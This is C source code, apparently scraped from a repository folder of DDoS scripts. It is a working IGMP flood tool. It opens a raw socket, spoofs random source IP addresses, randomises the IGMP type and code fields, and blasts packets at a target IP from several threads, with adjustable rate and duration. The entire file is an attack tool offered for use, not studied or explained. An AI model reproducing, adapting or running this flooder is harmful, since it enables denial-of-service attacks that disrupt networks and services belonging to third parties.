Path: blob/master/DDOS Scripts/OTHER PROTOCOLS/igmp2.c
4607 views
/*1igmp floood googleadmin2*/34#include <unistd.h>5#include <time.h>6#include <sys/types.h>7#include <sys/socket.h>8#include <sys/ioctl.h>9#include <string.h>10#include <stdlib.h>11#include <stdio.h>12#include <pthread.h>13#include <netinet/igmp.h>14#include <netinet/ip.h>15#include <netinet/in.h>16#include <netinet/if_ether.h>17#include <netdb.h>18#include <net/if.h>19#include <arpa/inet.h>20#define MAX_PACKET_SIZE 409621#define PHI 0x9e3779b922static unsigned long int Q[4096], c = 362436;23volatile int limiter;24volatile unsigned int pps;25volatile unsigned int sleeptime = 100;26void init_rand(unsigned long int x)27{28int i;29Q[0] = x;30Q[1] = x + PHI;31Q[2] = x + PHI + PHI;32for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }33}34unsigned long int rand_cmwc(void)35{36unsigned long long int t, a = 18782LL;37static unsigned long int i = 4095;38unsigned long int x, r = 0xfffffffe;39i = (i + 1) & 4095;40t = a * Q[i] + c;41c = (t >> 32);42x = t + c;43if (x < c) {44x++;45c++;46}47return (Q[i] = r - x);48}4950int randnum(int min_num, int max_num)51{52int result = 0, low_num = 0, hi_num = 0;5354if (min_num < max_num)55{56low_num = min_num;57hi_num = max_num + 1;58} else {59low_num = max_num + 1;60hi_num = min_num;61}626364result = (rand_cmwc() % (hi_num - low_num)) + low_num;65return result;66}67unsigned short csum (unsigned short *buf, int count)68{69register unsigned long sum = 0;70while( count > 1 ) { sum += *buf++; count -= 2; }71if(count > 0) { sum += *(unsigned char *)buf; }72while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }73return (unsigned short)(~sum);74}7576void setup_ip_header(struct iphdr *iph)77{78iph->ihl = 5;79iph->version = 4;80iph->tos = 0;81iph->tot_len = sizeof(struct iphdr) + sizeof(struct igmp);82iph->id = htonl(54321);83iph->frag_off = htons(0x4000);84iph->ttl = MAXTTL;85iph->protocol = 2;86iph->check = 0;87iph->saddr = inet_addr("192.168.3.100");88}89void setup_igmp_header(struct igmp *igmpset)90{91igmpset->igmp_cksum = 0;92igmpset->igmp_type = IGMP_V2_MEMBERSHIP_REPORT;93igmpset->igmp_code = IGMP_DVMRP;9495}96void *flood(void *par1)97{98srand(time(NULL));99char *td = (char *)par1;100char datagram[MAX_PACKET_SIZE];101struct iphdr *iph = (struct iphdr *)datagram;102struct igmp *igmpset = (void *)iph + sizeof(struct iphdr);103struct sockaddr_in sin;104sin.sin_family = AF_INET;105sin.sin_addr.s_addr = inet_addr(td);106int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);107if(s < 0){108fprintf(stderr, "Could not open raw socket.\n");109exit(-1);110}111memset(datagram, 0, MAX_PACKET_SIZE);112setup_ip_header(iph);113setup_igmp_header(igmpset);114struct sockaddr_in quicksave;115inet_aton(td, &quicksave.sin_addr);116igmpset->igmp_group = quicksave.sin_addr;117iph->daddr = sin.sin_addr.s_addr;118iph->check = csum ((unsigned short *) datagram, iph->tot_len);119int tmp = 1;120const int *val = &tmp;121if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){122fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");123exit(-1);124}125init_rand(time(NULL));126register unsigned int i;127i = 0;128int types[2] = {0x16, 0x17};129int codes[6] = {0x13, 0x14, 0x15, 0x1e, 0x1f, 0x30};130while(1){131iph->ttl = randnum(100,130);132iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);133iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);134iph->check = csum ((unsigned short *) datagram, iph->tot_len);135igmpset->igmp_cksum = 0;136igmpset->igmp_type = types[randnum(0,1)];137igmpset->igmp_code = codes[randnum(0,5)];138igmpset->igmp_cksum = csum ((unsigned short *) igmpset, sizeof(igmpset));139sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));140pps++;141if(i >= limiter)142{143i = 0;144usleep(sleeptime);145}146i++;147}148}149int main(int argc, char *argv[ ])150{151if(argc < 4){152fprintf(stderr, "igmpv2, googleadmin\n");153fprintf(stdout, "Usage: %s <ip> <threads> <pps, -1 no limit> <time>\n", argv[0]);154exit(-1);155}156int num_threads = atoi(argv[2]);157int maxpps = atoi(argv[3]);158limiter = 0;159pps = 0;160pthread_t thread[num_threads];161int multiplier = 12;162int i;163for(i = 0;i<num_threads;i++){164pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);165}166fprintf(stdout, "flood starting now...\n");167for(i = 0;i<(atoi(argv[4])*multiplier);i++)168{169usleep((1000/multiplier)*1000);170if((pps*multiplier) > maxpps)171{172if(1 > limiter)173{174sleeptime+=100;175} else {176limiter--;177}178} else {179limiter++;180if(sleeptime > 25)181{182sleeptime-=25;183} else {184sleeptime = 0;185}186}187pps = 0;188}189return 0;190}191192